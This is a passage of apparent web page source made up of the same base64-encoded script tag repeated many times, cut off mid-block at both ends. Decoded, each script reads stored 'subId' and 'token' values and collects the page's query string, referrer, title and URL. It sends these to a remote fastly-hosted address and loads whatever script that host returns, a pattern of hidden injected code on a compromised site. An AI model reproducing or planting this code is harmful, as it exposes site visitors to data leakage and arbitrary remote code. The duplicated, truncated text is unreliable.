Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnICYmIF9HdzdaODJZeDlncXR4R3J5ICE9PSBudWxsKSB7CiAgICAgICAgdmFyIF9LUzVxV0hUSE5zaDQxRE1IID0gSlNPTi5wYXJzZShfR3c3WjgyWXg5Z3F0eEdyeSk7CiAgICAgICAgdmFyIF9NRkpia1FzTFEyc3I0WlJUID0gTWF0aC5yb3VuZCgrbmV3IERhdGUoKS8xMDAwKTsKICAgICAgICBpZiAoX0tTNXFXSFRITnNoNDFETUguY3JlYXRlZF9hdCArIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi50dGwgPCBfTUZKYmtRc0xRMnNyNFpSVCkgewogICAgICAgICAgICBsb2NhbFN0b3JhZ2UucmVtb3ZlSXRlbSgnc3ViSWQnKTsKICAgICAgICAgICAgbG9jYWxTdG9yYWdlLnJlbW92ZUl0ZW0oJ3Rva2VuJyk7CiAgICAgICAgICAgIGxvY2FsU3RvcmFnZS5yZW1vdmVJdGVtKCdjb25maWcnKTsKICAgICAgICB9CiAgICB9CiAgICB2YXIgX3RNOEs3M0ttYjV2RGpUYzMgPSBsb2NhbFN0b3JhZ2UuZ2V0SXRlbSgnc3ViSWQnKTsKICAgIHZhciBfUG4zNFd3SnRWTjRTak1zbSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCd0b2tlbicpOwogICAgdmFyIF9NS3FCbVdoS0hrQmNCZkZ3ID0gJz9yZXR1cm49anMuY2xpZW50JzsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJicgKyBkZWNvZGVVUklDb21wb25lbnQod2luZG93LmxvY2F0aW9uLnNlYXJjaC5yZXBsYWNlKCc/JywgJycpKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnNlX3JlZmVycmVyPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQucmVmZXJyZXIpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmZGVmYXVsdF9rZXl3b3JkPScgKyBlbmNvZGVVUklDb21wb25lbnQoZG9jdW1lbnQudGl0bGUpOwogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmbGFuZGluZ191cmw9JyArIGVuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5sb2NhdGlvbi5ob3N0bmFtZSArIGRvY3VtZW50LmxvY2F0aW9uLnBhdGhuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJm5hbWU9JyArIGVuY29kZVVSSUNvbXBvbmVudChuYW1lKTsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJmhvc3Q9JyArIGVuY29kZVVSSUNvbXBvbmVudCh3aW5kb3cuX2g3Y1lieW5GV3hWaDEyNWYuUl9QQVRIKTsKICAgIGlmICh0eXBlb2YgX3RNOEs3M0ttYjV2RGpUYzMgIT09ICd1bmRlZmluZWQnICYmIF90TThLNzNLbWI1dkRqVGMzICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnN1Yl9pZD0nICsgZW5jb2RlVVJJQ29tcG9uZW50KF90TThLNzNLbWI1dkRqVGMzKTsKICAgIH0KICAgIGlmICh0eXBlb2YgX1BuMzRXd0p0Vk40U2pNc20gIT09ICd1bmRlZmluZWQnICYmIF9QbjM0V3dKdFZONFNqTXNtICYmIHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi51bmlxdWUpIHsKICAgICAgICBfTUtxQm1XaEtIa0JjQmZGdyArPSAnJnRva2VuPScgKyBlbmNvZGVVUklDb21wb25lbnQoX1BuMzRXd0p0Vk40U2pNc20pOwogICAgfQogICAgaWYgKCcnICE9PSAnJykgewogICAgICAgIF9NS3FCbVdoS0hrQmNCZkZ3ICs9ICcmYnlwYXNzX2NhY2hlPSc7CiAgICB9CiAgICB2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwogICAgICAgIGEudHlwZSA9ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JzsKICAgICAgICBhLnNyYyA9IHdpbmRvdy5faDdjWWJ5bkZXeFZoMTI1Zi5SX1BBVEggKyBfTUtxQm1XaEtIa0JjQmZGdzsKICAgIHZhciBzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NjcmlwdCcpWzBdOwogICAgcy5wYXJlbnROb2RlLmluc2VydEJlZm9yZShhLCBzKQogICAgfSkoKTs="></script> 
<script src="data:text/javascript;base64,ICAgIChmdW5jdGlvbigpIHsKICAgIHZhciBuYW1lID0gJ19oN2NZYnluRld4VmgxMjVmJzsKICAgIGlmICghd2luZG93Ll9oN2NZYnluRld4VmgxMjVmKSB7CiAgICAgICAgd2luZG93Ll9oN2NZYnluRld4VmgxMjVmID0gewogICAgICAgICAgICB1bmlxdWU6IGZhbHNlLAogICAgICAgICAgICB0dGw6IDg2NDAwLAogICAgICAgICAgICBSX1BBVEg6ICdodHRwczovL2JidHJyYWNrLmdsb2JhbC5zc2wuZmFzdGx5Lm5ldC8xTlh5bW0nLAogICAgICAgIH07CiAgICB9CiAgICBjb25zdCBfR3c3WjgyWXg5Z3F0eEdyeSA9IGxvY2FsU3RvcmFnZS5nZXRJdGVtKCdjb25maWcnKTsKICAgIGlmICh0eXBlb2YgX0d3N1o4Mll4OWdxdHhHcnkgIT09ICd1bmRlZmluZWQnI